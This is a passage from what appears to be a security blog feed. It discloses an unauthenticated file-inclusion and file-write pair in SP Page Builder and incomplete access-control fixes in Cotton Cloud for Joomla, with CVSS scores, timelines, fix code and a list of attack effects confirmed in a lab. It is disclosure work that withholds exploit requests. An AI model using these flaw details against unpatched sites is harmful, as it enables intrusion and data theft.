&lt;p&gt;Page builders make attractive targets for the same reason they are useful: they render content through front-end endpoints that anonymous visitors are meant to reach. An element that loads more items, a contact form that accepts a submission, none of it can require a login, because the whole point is that visitors use it. Every one of those public endpoints is attack surface, and when the code behind them trusts request input, an anonymous visitor becomes an anonymous attacker. This flaw is the sharp end of that: the endpoint trusted an entire component definition from the request, and one field in it decided which PHP file to run.&lt;/p&gt;
&lt;p&gt;The same shape has shown up across the ecosystem this year, from &lt;a href=&quot;https://mysites.guru/blog/pagebuilderck-unauthenticated-file-upload-rce/&quot;&gt;PageBuilder CK&lt;/a&gt; to &lt;a href=&quot;https://mysites.guru/blog/quix-sql-injection-disclosure/&quot;&gt;Quix&lt;/a&gt; and the wider &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;month of Joomla disclosures&lt;/a&gt;. Page builders are worth using. The ones that accept input from anonymous visitors simply need updating the moment a fix exists, which makes these updates security-critical rather than feature maintenance.&lt;/p&gt;
&lt;h2&gt;Stay ahead of the next one&lt;/h2&gt;
&lt;p&gt;There will be another, because Joomla runs on thousands of third-party extensions and the ones that accept input from anonymous visitors keep producing bugs like these. The hard part is never the update itself. It is knowing a fix exists, knowing which of your sites are affected, and getting to them before an attacker does.&lt;/p&gt;
&lt;p&gt;That is the job mySites.guru does for you. It keeps a live inventory of every extension on every Joomla and WordPress site in your account, flags the ones with a known vulnerability, and lets you push the update to all of them from one screen.&lt;/p&gt;
&lt;div&gt;&lt;p&gt;Get free email alerts when a Joomla vulnerability breaks&lt;/p&gt;&lt;p&gt;We email a plain-English alert the moment a serious flaw like this one is disclosed, with the affected versions and what to do. No charge, unsubscribe any time.&lt;/p&gt;&lt;p&gt;&lt;a href=&quot;https://list.mysites.guru/subscribe&quot;&gt;Subscribe to security alerts&lt;/a&gt;&lt;/p&gt;&lt;/div&gt;
&lt;p&gt;Want the alerts and the tooling to act on them? Start with a &lt;a href=&quot;https://mysites.guru/free-audit/&quot;&gt;free audit&lt;/a&gt; on one site and see your full extension inventory, or &lt;a href=&quot;https://mysites.guru/pricing/&quot;&gt;sign up for mySites.guru&lt;/a&gt; to get vulnerability alerts and one-click updates across every site you manage.&lt;/p&gt;
&lt;h2&gt;Disclosure and severity&lt;/h2&gt;
&lt;p&gt;The headline finding is an unauthenticated PHP local file inclusion (CWE-98, path traversal per CWE-22) reachable over the network, needing only a CSRF token that Joomla issues to everyone. It yields execution of PHP from an attacker-chosen path and, given any writable-and-readable &lt;code&gt;site.php&lt;/code&gt;, full remote code execution. The second finding is an unauthenticated arbitrary directory creation and file write (CWE-22), bounded by a fixed filename.&lt;/p&gt;
&lt;p&gt;We score every issue under CVSS 4.0. The file inclusion comes out at &lt;strong&gt;9.3, Critical&lt;/strong&gt;: no privileges, no user interaction, network reachable, with a full compromise of confidentiality, integrity and availability once code runs.&lt;/p&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;9.3&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Critical&lt;/span&gt;&lt;span&gt;mySites.guru assessment · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67285/&quot;&gt;CVE-2026-67285&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated PHP file inclusion, pre-auth code execution. Reachable over the internet with only the CSRF token Joomla hands to every visitor. Runs PHP from an attacker-chosen path, inside or outside the web root, and becomes full remote code execution given any writable PHP file.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;&lt;div&gt;&lt;span&gt;No login needed&lt;/span&gt;&lt;span&gt;Exploitable over the internet&lt;/span&gt;&lt;span&gt;Code execution&lt;/span&gt;&lt;span&gt;Traversal beyond web root&lt;/span&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:H&lt;/dt&gt;&lt;dd&gt;High: Everything the site holds can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:H&lt;/dt&gt;&lt;dd&gt;High: Data and files can be altered at will&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:H&lt;/dt&gt;&lt;dd&gt;High: The site can be taken down&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;
&lt;div&gt;&lt;div&gt;&lt;div&gt;&lt;span&gt;6.9&lt;/span&gt;&lt;span&gt;CVSS 4.0&lt;/span&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;&lt;span&gt;Medium&lt;/span&gt;&lt;span&gt;mySites.guru assessment · &lt;a href=&quot;https://mysites.guru/vulnerabilities/CVE-2026-67286/&quot;&gt;CVE-2026-67286&lt;/a&gt;&lt;/span&gt;&lt;/p&gt;&lt;p&gt;Unauthenticated arbitrary directory create and file write, bounded by a fixed filename.&lt;/p&gt;&lt;div&gt;&lt;code&gt;CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:L/VA:L/SC:N/SI:N/SA:N&lt;/code&gt;&lt;/div&gt;What does this mean?&lt;div&gt;&lt;p&gt;CVSS 4.0 scores how severe a flaw is, from 0 (no impact) to 10 (critical). Each pair of letters in the string above is one metric; here is what this one&apos;s says.&lt;/p&gt;&lt;div&gt;&lt;p&gt;How it is reached&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;AV:N&lt;/dt&gt;&lt;dd&gt;Network: Reachable across the internet&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AC:L&lt;/dt&gt;&lt;dd&gt;Low: Nothing to work around, it just works&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;AT:N&lt;/dt&gt;&lt;dd&gt;None: Works against any affected install&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;PR:N&lt;/dt&gt;&lt;dd&gt;None: No account needed&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;UI:N&lt;/dt&gt;&lt;dd&gt;None: Nobody has to be tricked into anything&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does to the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;VC:N&lt;/dt&gt;&lt;dd&gt;None: Nothing can be read&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VI:L&lt;/dt&gt;&lt;dd&gt;Low: Some data can be altered&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;VA:L&lt;/dt&gt;&lt;dd&gt;Low: The site slows or stutters&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;div&gt;&lt;p&gt;What it does beyond the site&lt;/p&gt;&lt;dl&gt;&lt;div&gt;&lt;dt&gt;SC:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their data&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SI:N&lt;/dt&gt;&lt;dd&gt;None: Other systems keep their integrity&lt;/dd&gt;&lt;/div&gt;&lt;div&gt;&lt;dt&gt;SA:N&lt;/dt&gt;&lt;dd&gt;None: Other systems stay up&lt;/dd&gt;&lt;/div&gt;&lt;/dl&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;





































































&lt;table&gt;&lt;thead&gt;&lt;tr&gt;&lt;th&gt;Field&lt;/th&gt;&lt;th&gt;Detail&lt;/th&gt;&lt;/tr&gt;&lt;/thead&gt;&lt;tbody&gt;&lt;tr&gt;&lt;td&gt;Component&lt;/td&gt;&lt;td&gt;SP Page Builder for Joomla (&lt;code&gt;com_sppagebuilder&lt;/code&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Vendor&lt;/td&gt;&lt;td&gt;JoomShaper (&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;joomshaper.com&lt;/a&gt;)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Type&lt;/td&gt;&lt;td&gt;Unauthenticated PHP local file inclusion via path traversal, pre-auth RCE (CWE-98 / CWE-22); unauthenticated arbitrary directory creation and file write (CWE-22)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVSS 4.0&lt;/td&gt;&lt;td&gt;9.3 (Critical) file inclusion; 6.9 (Medium) file write&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;CVE&lt;/td&gt;&lt;td&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67285&quot;&gt;CVE-2026-67285&lt;/a&gt; (the file inclusion) and &lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67286&quot;&gt;CVE-2026-67286&lt;/a&gt; (the file write), published by the Joomla CNA on 12 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Impact&lt;/td&gt;&lt;td&gt;Unauthenticated execution of PHP from an arbitrary filesystem path, full remote code execution given any writable PHP file; unauthenticated directory creation and file write outside the cache folder&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Finder&lt;/td&gt;&lt;td&gt;Phil Taylor, mySites.guru&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Affected versions&lt;/td&gt;&lt;td&gt;6.7.1 and earlier; vulnerable code present from 5.5.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed in&lt;/td&gt;&lt;td&gt;SP Page Builder 6.8.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Reported&lt;/td&gt;&lt;td&gt;27 July 2026 (privately to JoomShaper, Joomla security team CC’d)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Acknowledged&lt;/td&gt;&lt;td&gt;27 July 2026 (JoomShaper confirmed both issues, fix in progress)&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Pre-release build supplied for testing&lt;/td&gt;&lt;td&gt;12 August 2026&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fixed&lt;/td&gt;&lt;td&gt;12 August 2026, in SP Page Builder 6.8.0&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Fix verified by mySites.guru&lt;/td&gt;&lt;td&gt;12 August 2026, against the released 6.8.0 package&lt;/td&gt;&lt;/tr&gt;&lt;tr&gt;&lt;td&gt;Time to fix&lt;/td&gt;&lt;td&gt;16 days&lt;/td&gt;&lt;/tr&gt;&lt;/tbody&gt;&lt;/table&gt;&lt;h2&gt;Timeline&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;2026-07-27&lt;/strong&gt; Reported privately, and acknowledged the same day An unauthenticated PHP file inclusion in the Dynamic Content load-more endpoint, where the addon name is concatenated into a file path with no traversal check and then included and run as PHP, plus an unauthenticated arbitrary directory creation and file write. JoomShaper confirms a fix is in progress.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; SP Page Builder 6.8.0 ships, sixteen days later There was no 6.7.2 in between. We read the released package and verified both issues are fixed the same day. The changelog lists the fixes among routine entries with no visual distinction.&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2026-08-12&lt;/strong&gt; CVE-2026-67285 and CVE-2026-67286 are published by the Joomla CNA The file inclusion at CVSS 4.0 9.3 Critical and the file write at 6.9 Medium, both crediting Phil Taylor of mySites.guru.&lt;/li&gt;
&lt;/ul&gt;
&lt;h2&gt;Further Reading&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-captcha-bypass-disclosure/&quot;&gt;The September 2026 round: SQL injection and a captcha bypass&lt;/a&gt; - five more issues, fixed in 6.9.1, and the version you actually want to be on.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-joomla-3-security-patch-1-0-3/&quot;&gt;SP Page Builder&apos;s Joomla 3 patch reaches 1.0.3&lt;/a&gt; - the Joomla 3 back-port of that September round, corrected after we found two more gaps in it.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-sql-injection-mail-relay-disclosure/&quot;&gt;Our SP Page Builder SQL injection and mail relay disclosure&lt;/a&gt; - the four issues fixed in 6.7.1, the release this flaw stayed in.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/sp-page-builder-zero-day-uploadcustomicon-rce/&quot;&gt;The June 2026 SP Page Builder icon-upload zero-day&lt;/a&gt; - an earlier, separate flaw in the same component, exploited in the wild and fixed in 6.6.2.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://mysites.guru/blog/ajax-endpoints-cms-security-blind-spot/&quot;&gt;Why AJAX endpoints are a CMS security blind spot&lt;/a&gt; - the recurring public-endpoint pattern behind flaws like these.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://cwe.mitre.org/data/definitions/98.html&quot;&gt;CWE-98: PHP Remote File Inclusion&lt;/a&gt; and &lt;a href=&quot;https://cwe.mitre.org/data/definitions/22.html&quot;&gt;CWE-22: Path Traversal&lt;/a&gt; - the official references for these weakness classes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/blog/sp-page-builder-v6-8-0&quot;&gt;JoomShaper&apos;s SP Page Builder 6.8.0 announcement&lt;/a&gt; - the vendor&apos;s own write-up of the release, including the security note for the separate SQL injection it also fixes.&lt;/li&gt;
&lt;li&gt;&lt;a href=&quot;https://www.joomshaper.com/&quot;&gt;JoomShaper&lt;/a&gt; - the vendor&apos;s site, where SP Page Builder 6.9.1 is available.&lt;/li&gt;
&lt;/ul&gt;
</content:encoded><author>phil@mysites.guru (Phil Taylor)</author><category>security</category><category>joomla</category><category>sp page builder</category><category>remote code execution</category><category>vulnerability</category><category>responsible disclosure</category><category>sppagebuilder</category><enclosure url="https://mysites.guru/img/og/blog/sp-page-builder-pre-auth-rce-file-inclusion-disclosure.png" length="0" type="image/png"/></item><item><title>Cotton Cloud Patched the Login, Then the Data</title><link>https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/</link><guid isPermaLink="true">https://mysites.guru/blog/cotton-cloud-incomplete-security-fix/</guid><description>Two access control flaws in Cotton Cloud for Joomla. The first fix closed the door, not the room. CVE-2026-67283 and CVE-2026-67284 are fixed in 2.0.3.</description><pubDate>Wed, 12 Aug 2026 12:00:00 GMT</pubDate><content:encoded>&lt;p&gt;&lt;a href=&quot;https://joomla.tabaoca.org&quot;&gt;Cotton Cloud&lt;/a&gt; is a database-backed file storage system for Joomla. It ships as a package of six extensions and gives each user a private cloud drive inside the site: upload files, organise them into folders, edit text files in the browser, share them by link, and drive the whole thing from an AI-assisted terminal with about forty commands behind it.&lt;/p&gt;
&lt;p&gt;In August 2026 &lt;strong&gt;mySites.guru found that every front-end endpoint in Cotton Cloud 2.0.1 was reachable by a visitor who had never logged in&lt;/strong&gt;, and that from there they could read, overwrite, delete and re-permission every file any user had stored. We reported it privately. The developer shipped 2.0.2, then 2.0.3.&lt;/p&gt;
&lt;p&gt;It took two releases, because the first one fixed one half of the report.&lt;/p&gt;
&lt;p&gt;This post is about the half that was missed, about why that half is the half that always gets missed, and about how a fix can look completely correct in the diff and never execute once. That last part is where AI-assisted development comes in, even if you have never heard of this extension. Cotton Cloud 2.0.3 closes both parts, and if you run it that is the version you want.&lt;/p&gt;
&lt;h2&gt;TL;DR&lt;/h2&gt;
&lt;ul&gt;
&lt;li&gt;Cotton Cloud 2.0.1 had &lt;strong&gt;two separate access control failures&lt;/strong&gt;, reported together on 1 August 2026&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing authentication.&lt;/strong&gt; Every front-end task needed only a CSRF token. Joomla hands those to guests, so an anonymous visitor could call all of them. This is &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67283&quot;&gt;CVE-2026-67283&lt;/a&gt;&lt;/strong&gt;, CVSS 4.0 6.9 medium, fixed in 2.0.2&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Missing authorisation.&lt;/strong&gt; The by-id database accessors fetched files and folders by numeric id with no check that the id belonged to the caller. This is &lt;strong&gt;&lt;a href=&quot;https://www.cve.org/CVERecord?id=CVE-2026-67284&quot;&gt;CVE-2026-67284&lt;/a&gt;&lt;/strong&gt;, CVSS 4.0 5.3 medium, fixed in 2.0.3&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.0.2 fixed the first and not the second.&lt;/strong&gt; The flaw stopped being anonymous and became exploitable by any registered user, which on a site with open signup is not much of a barrier&lt;/li&gt;
&lt;li&gt;2.0.2 &lt;em&gt;did&lt;/em&gt; contain an ownership check for the second half. It was added to a method &lt;strong&gt;nothing in the package calls&lt;/strong&gt;, so it never executed. It read as a finished fix in the diff&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;2.0.3 closed the authorisation half properly&lt;/strong&gt;, with ownership checks through the model layer and a new assertion layer in front of the terminal and MCP surface&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Update to 2.0.3.&lt;/strong&gt; Treat 2.0.2 and everything before it as vulnerable&lt;/li&gt;
&lt;li&gt;Both CVEs credit the finder, and the fix rounds were handled the way you would want a vendor to handle them&lt;/li&gt;
&lt;/ul&gt;
&lt;div&gt;&lt;p&gt;mySites.guru discovered this issue and reported it privately before publishing anything. We withheld the exact requests and any proof-of-concept until a fix was available and site owners had a reasonable window to update. That included holding this post back through an incomplete fix, because publishing “this is fixed” while it is not is worse than publishing nothing.&lt;/p&gt;&lt;/div&gt;
&lt;h2&gt;What Cotton Cloud got right&lt;/h2&gt;
&lt;p&gt;Start here, because parts of what follows are critical.&lt;/p&gt;
&lt;p&gt;The developer engaged. After a slow start he replied, took the report seriously, shipped releases, and asked for further review each time. Plenty of vendors never reply at all. We have written about &lt;a href=&quot;https://mysites.guru/blog/helix3-security-update-changelog-failure/&quot;&gt;a vendor whose changelog said “Security Update” and nothing else&lt;/a&gt;, and about &lt;a href=&quot;https://mysites.guru/blog/a-month-of-joomla-security-disclosures/&quot;&gt;nineteen extension vulnerabilities we disclosed in a single month&lt;/a&gt;, so a developer who answers, ships, and then asks you to check his work is well ahead of the field.&lt;/p&gt;
&lt;p&gt;The 2.0.2 fix for the authentication half is done the right way. Every task in both components gained a proper identity check:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;$currentuser &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Factory&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;getApplication&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getIdentity&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$currentuser&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;) &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; !&lt;/span&gt;&lt;span&gt;Session&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;checkToken&lt;/span&gt;&lt;span&gt;()) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    echo&lt;/span&gt;&lt;span&gt; new&lt;/span&gt;&lt;span&gt; JsonResponse&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;null&lt;/span&gt;&lt;span&gt;,&lt;/span&gt;&lt;span&gt; Text&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;_&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;JINVALID_TOKEN&lt;/span&gt;&lt;span&gt;&apos;&lt;/span&gt;&lt;span&gt;),&lt;/span&gt;&lt;span&gt; true&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    return&lt;/span&gt;&lt;span&gt;;&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;}&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;
&lt;p&gt;That is correct. &lt;code&gt;getIdentity()&lt;/code&gt; returns a user object with id 0 for a guest, PHP short-circuits the &lt;code&gt;||&lt;/code&gt;, and the request is rejected before any logic runs. It was applied consistently across all twenty-one tasks in the file manager plus both entry points of the terminal component. Nothing was half-applied and nothing was missed. We verified it: an anonymous request that worked against 2.0.1 is rejected by 2.0.2, and still is in 2.0.3.&lt;/p&gt;
&lt;p&gt;2.0.2 also fixed something we had raised as a side issue. The 2.0.1 package shipped as 2.0.1 while every constituent manifest inside it declared &lt;code&gt;&amp;lt;version&amp;gt;2.0.0&amp;lt;/version&amp;gt;&lt;/code&gt;, which breaks version reporting for anyone trying to work out what they are running. Every manifest in 2.0.3 now has the right number.&lt;/p&gt;
&lt;p&gt;So: a developer who replied, fixed the authentication half cleanly, and came back and fixed the authorisation half. The problem is the gap in between, and that gap is the interesting part.&lt;/p&gt;
&lt;h2&gt;The half that was left in 2.0.2&lt;/h2&gt;
&lt;p&gt;Our report described two root causes, in two separate paragraphs, with the second one spelled out by name:&lt;/p&gt;
&lt;div&gt;&lt;p&gt;From our report, 1 August 2026&lt;/p&gt;&lt;div&gt;The second is that the data layer only checks ownership in some places. The browse queries filter on owner_id, so the UI looks correctly scoped, but the by-id accessors do not. &lt;code&gt;FileRepository::getForOpen()&lt;/code&gt;, &lt;code&gt;::update()&lt;/code&gt; and &lt;code&gt;::delete()&lt;/code&gt; all key on the id alone, as does &lt;code&gt;CottonModel::file_update()&lt;/code&gt;. &lt;code&gt;FolderManager::deleteRecursive()&lt;/code&gt; has no ownership check either.&lt;/div&gt;&lt;/div&gt;
&lt;p&gt;When 2.0.2 arrived we diffed it against 2.0.1. &lt;code&gt;FileRepository.php&lt;/code&gt;, &lt;code&gt;FolderRepository.php&lt;/code&gt;, &lt;code&gt;FolderManager.php&lt;/code&gt; and &lt;code&gt;CottonBridge.php&lt;/code&gt; were &lt;strong&gt;identical&lt;/strong&gt;. Every file named in that paragraph was untouched. The terminal’s command interpreter had changed, but only by commenting out five debug logging calls.&lt;/p&gt;
&lt;p&gt;Authentication was added. Authorisation was not.&lt;/p&gt;
&lt;p&gt;The practical difference is smaller than it sounds. Cotton Cloud is a file store whose entire purpose is giving site users a private drive, so it is deployed on sites where people can register. Registration is free and instant. The attack went from “anyone on the internet” to “anyone on the internet who clicks Register first”.&lt;/p&gt;
&lt;p&gt;We confirmed all of the following against the shipping 2.0.2 on a local Joomla 5 lab, logged in as a plain self-registered user with no special permissions, targeting a file owned by the site administrator marked private with no sharing:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;&lt;strong&gt;Read it.&lt;/strong&gt; The terminal’s &lt;code&gt;cat&lt;/code&gt; returned the full database row, file contents and all, along with the owner id proving it belonged to somebody else&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Read it a second way.&lt;/strong&gt; The same content came back through the terminal’s MCP interface, which exposed its tools to any logged-in user&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Find it.&lt;/strong&gt; The &lt;code&gt;find&lt;/code&gt; command enumerated another user’s files and reported their folder paths&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Overwrite it.&lt;/strong&gt; The save endpoint replaced the administrator’s file contents&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Delete it.&lt;/strong&gt; The delete endpoint removed an administrator-owned file permanently, not to the trash&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Re-permission it.&lt;/strong&gt; The update endpoint set the file’s sharing flag to public&lt;/li&gt;
&lt;li&gt;&lt;strong&gt;Then read it with no account at all.&lt;/strong&gt; After the previous step, the file came back to a request with no cookies whatsoever&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;That last pair is the one to sit with. Cotton Cloud has exactly one endpoint with a correct, well-written access check, and it works. But in 2.0.2 a neighbouring endpoint with no check could flip the flag that the good endpoint reads. The correct ACL was unlocked by the broken one, and the file ended up publicly readable by the entire internet.&lt;/p&gt;
&lt;h2&gt;The fix that never ran&lt;/h2&gt;
&lt;p&gt;This one changed how we read diffs.&lt;/p&gt;
&lt;p&gt;Cotton Cloud 2.0.2 &lt;strong&gt;did&lt;/strong&gt; add an ownership check for file deletion. It is right there in the diff, and it looks exactly like what you would want:&lt;/p&gt;
&lt;pre&gt;&lt;code&gt;&lt;span&gt;&lt;span&gt;public&lt;/span&gt;&lt;span&gt; function&lt;/span&gt;&lt;span&gt; file_delete&lt;/span&gt;&lt;span&gt;($file_id, $folder_id, $trash) {&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $currentuser &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; Factory&lt;/span&gt;&lt;span&gt;::&lt;/span&gt;&lt;span&gt;getApplication&lt;/span&gt;&lt;span&gt;()&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;getIdentity&lt;/span&gt;&lt;span&gt;();&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $user_id &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $currentuser&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;get&lt;/span&gt;&lt;span&gt;(&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;id&lt;/span&gt;&lt;span&gt;&quot;&lt;/span&gt;&lt;span&gt;);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    $del &lt;/span&gt;&lt;span&gt;=&lt;/span&gt;&lt;span&gt; $this&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;file_select&lt;/span&gt;&lt;span&gt;($file_id);&lt;/span&gt;&lt;/span&gt;
&lt;span&gt;&lt;/span&gt;
&lt;span&gt;&lt;span&gt;    if&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;!&lt;/span&gt;&lt;span&gt;$del&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;n &lt;/span&gt;&lt;span&gt;||&lt;/span&gt;&lt;span&gt; (&lt;/span&gt;&lt;span&gt;int&lt;/span&gt;&lt;span&gt;) $del&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;file[&lt;/span&gt;&lt;span&gt;0&lt;/span&gt;&lt;span&gt;]&lt;/span&gt;&lt;span&gt;-&amp;gt;&lt;/span&gt;&lt;span&gt;owner_id &lt;/span&gt;&lt;span&gt;!==&lt;/span&gt;&lt;span&gt; $user_id) {&lt;/span&gt;&lt;/span&gt;
